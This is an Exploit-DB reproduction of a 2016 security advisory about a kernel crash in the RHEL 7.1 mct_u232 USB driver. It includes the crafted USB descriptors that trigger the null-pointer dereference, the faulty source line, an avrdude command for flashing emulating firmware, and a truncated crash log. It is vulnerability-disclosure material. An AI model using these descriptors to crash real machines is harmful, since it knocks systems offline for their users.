Exploit-DB #39541
Description: Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'mct_u232' Nullpointer Dereference
Type: dos
Platform: linux
Date: 2016-03-09
Author: OpenSource Security

Exploit:
OS-S Security Advisory 2016-08
Linux mct_u232 Nullpointer Dereference

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (mct_u232_m8 driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net/advisories/OSS-2016-08_mct_u232.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB 
device requiring the mct_u232_m8 driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor
bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x50d
idProduct:	0x109
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing only one interrupt-endpoint-
descriptor (IN-direction).
The mct_u232 driver assumes that there will be at least two endpoint-
descriptors configured as interrupt-in.
Since there is no sanity check, it is possible that the kernel tries to 
dereference a null-pointer.
This results in a crash of the system.

****
$ nm mct_u232.ko.debug | grep mct_u232_port_probe[PII_REDACTED]000fc0 t mct_u232_port_probe
$ addr2line -e mct_u232.ko.debug 0xFF9
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_
64/drivers/usb/serial/mct_u232.c:386
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/serial/mct_u232.c)
...
377 static int mct_u232_port_probe(struct usb_serial_port *port)
378 {
379 struct mct_u232_private *priv;
380
381 priv = kzalloc(sizeof(*priv), GFP_KERNEL);
382 if (!priv)
383 return -ENOMEM;
384
385 /* Use second interrupt-in endpoint for reading. */
386 priv->read_urb = port->serial->port[1]->interrupt_in_urb; /* missing 
sanity check -> possible null-pointer dereference */
387 priv->read_urb->context = port;
388
389 spin_lock_init(&priv->lock);
390
391 usb_set_serial_port_data(port, priv);
392
393 return 0;
395 }
...
****

[*] Configuration-Descriptor
bLength:	0x9
bDescriptorType:	0x2
wTotalLength:	0x27
bNumInterfaces:	0x1
bConfigurationValue:	0x1
iConfiguration:	0x0
bmAttributes:	0x0
bMaxPower:	0x31
[*] Interface-Descriptor
bLength:	0x9
bDescriptorType:	0x4
bInterfaceNumber:	0x0
bAlternateSetting:	0x0
bNumEndpoints:	0x3
bInterfaceClass:	0x0
bInterfaceSubClass:	0x0
bInterfaceProtocol:	0x0
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x81	ï?? IN-Direction
bmAttribut:	0x3	ï?? Interrupt-Transfer
wMaxPacketSize:	0x404
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x1	ï??OUT-Direction
bmAttribut:	0x2	ï??Bulk-Transfer
wMaxPacketSize:	0x4
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x82	ï??IN-Direction
bmAttribut:	0x1	ï??Bulk-Transfer
wMaxPacketSize:	0x4
bInterval:	0xc

Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This 
firmware will emulate the defective USB device.

avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex

The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to 
connect port D3 and 3V3!

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, 
only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this 
Security Advisory.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283370

Kernel Stacktrace:

[ 2273.524650] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 2273.741789] usb 1-1: New USB device found, idVendor=050d, idProduct=0109
[ 2273.749429] usb 1-1: New USB device strings: Mfr=1, Product=2, 
SerialNumber=3
[ 2273.757144] usb 1-1: Product: Ä?
[ 2273.760821] usb 1-1: Manufacturer: Ä?
[ 2273.763500] usb 1-1: SerialNumber: %
[ 2273.768699] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc 
says 96 microframes
[ 2273.814069] usbcore: registered new interface driver mct_u232
[ 2273.820979] usbserial: USB Serial support registered for MCT U232
[ 2273.833864] mct_u232 1-1:1.0: MCT U232 converter detected
[ 2273.838511] BUG: unable to handle kernel NULL pointer dereference at 
[PII_REDACTED]
[ 2273.839330] IP: [<ffffffffa0393ff9>] mct_u232_port_probe+0x39/0x70 [mct_u232]
[ 2273.839330] PGD 0 
[ 2273.839330] Oops: 0000 [#1] SMP 
[ 2273.839330] Modules linked in: mct_u232(+) ip6t_rpfilter ip6t_REJECT 
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc 
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter 
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat 
nf_conntrack iptable_mangle iptable_security iptable_ra